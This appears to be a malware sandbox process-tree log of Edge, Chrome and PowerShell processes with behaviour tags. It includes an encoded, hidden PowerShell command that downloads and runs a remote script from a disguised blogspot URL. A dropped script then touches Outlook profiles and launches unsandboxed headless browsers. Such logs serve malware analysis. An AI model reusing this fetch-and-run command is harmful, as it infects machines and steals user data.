      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4100,i,1187139384882893413,4858396887818863637,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:9
      4⤵
      PID:3104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4312,i,12845573164529164474,17842978244316371543,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:9
      4⤵
      PID:3108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4116,i,17265036495230210073,5611181308805444966,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
      4⤵
      PID:4380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5348,i,17883321371069301907,12011179716994401894,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:9
      4⤵
      PID:2116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3996,i,7608706225593636492,13780722536923172008,2097152 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:15
      4⤵
      PID:2604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4156,i,3955862133572937432,4985710969223485157,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:14
      4⤵
      PID:2800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,1268412199000777489,12982723182353811053,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
      4⤵
      PID:4740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5724,i,9255263719229552357,7733731022907642761,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:14
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4124,i,9076959434897341611,7587039698992606337,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:14
      4⤵
      PID:2300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,4824583276180748828,8596028500423412688,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1144
        5⤵
        
        PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,17827789903610296049,7709953805808964742,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:2796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,17827789903610296049,7709953805808964742,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14
      4⤵
      PID:4880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,17418315522329998123,17910017955868601203,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:14
      4⤵
      PID:2884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6872,i,6991438630120975231,9931725233239374530,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:14
      4⤵
      PID:2724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6852,i,13933443068663962288,15530903199427963016,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:14
      4⤵
      PID:4200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6952,i,6880257479261935771,1259330218089611270,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6904 /prefetch:14
      4⤵
      PID:2356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6924,i,13259374558727519845,8931649185641952690,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=7424 /prefetch:14
      4⤵
      PID:5048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,14173680177303028338,3624247128327420714,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
      4⤵
      PID:1140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,9201427059987700781,9407141163979823310,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:14
      4⤵
      PID:1072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4988,i,9626768176286964079,3551552851852826353,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6588 /prefetch:14
      4⤵
      PID:4860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,14216151703523955639,12413895030220485484,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
      4⤵
      PID:6644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=728,i,14778206236198964826,12268701485856434093,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:14
      4⤵
      PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,7475521761493534762,5661753440065276476,524288 --field-trial-handle=2372,i,14848519371962021368,15857080985343389480,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:14
      4⤵
      PID:5528

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1384

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBlAFgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8AcwBjAG8AbwBiAGEALgBkAG8AYwB4AC4AcABkAGYAKQA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA1AA==
1⤵
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBlAFgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8AcwBjAG8AbwBiAGEALgBkAG8AYwB4AC4AcABkAGYAKQA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAOQA1AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gwafpf.ps1"
    3⤵
    - Badlisted process makes network request
    - Accesses Microsoft Outlook profiles
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:3500
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia"
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6060
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8fb53c728,0x7ff8fb53c734,0x7ff8fb53c740
        5⤵
        
        PID:6004
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1592,i,16165272401539175317,13949836806478538428,262144 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:2
        5⤵
        
        PID:6444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --force-high-res-timeticks=disabled --metrics-shmem-handle=1972,i,10957415031698698749,12462344242256819573,524288 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6592
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --force-high-res-timeticks=disabled --metrics-shmem-handle=2184,i,18368033719060199018,7594235963654376471,524288 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:13
        5⤵
        
        PID:5348
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2892,i,643901302418594626,8785805743610759305,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:1
        5⤵
        
        PID:6932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2896,i,5800845203866923048,15182928216793664270,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7012
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3220,i,12356930469685785129,9120544648015181424,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:6652
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3296,i,11732082398977432110,17374773921583028208,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=3972 /prefetch:9
        5⤵
        
        PID:5248
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4008,i,7958683275057184064,18092109923889094432,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:9
        5⤵
        
        PID:6804
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=2920,i,11495050763693792735,221675877553663774,2097152 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=4176 /prefetch:1
        5⤵
        
        PID:5328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2k3mm1wo.eia" --force-high-res-timeticks=disabled --metrics-shmem-handle=3288,i,18283372636005105287,10134047977690861673,524288 --field-trial-handle=2036,i,2436615528830817916,8350856193754202435,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:14
        5⤵
        
        PID:4792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1"
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious use of FindShellTrayWindow
      PID:5796
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2a8,0x7ff8fedec188,0x7ff8fedec194,0x7ff8fedec1a0
        5⤵
        
        PID:5984
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1684,i,3569967314684196069,11845189759117681132,262144 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2
        5⤵
        
        PID:1716
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1808,i,813564326467439775,3266005145789219849,524288 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=1840 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kdk3q1bb.be1" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2316,i,12742862886409829095,13917670666628248869,524288 --field-trial-handle=2208,i,16825786431464543823,102452206910119211,262144 --variations-seed-version --mojo-platform-channel-handle=2800 /prefetch:13
        5⤵
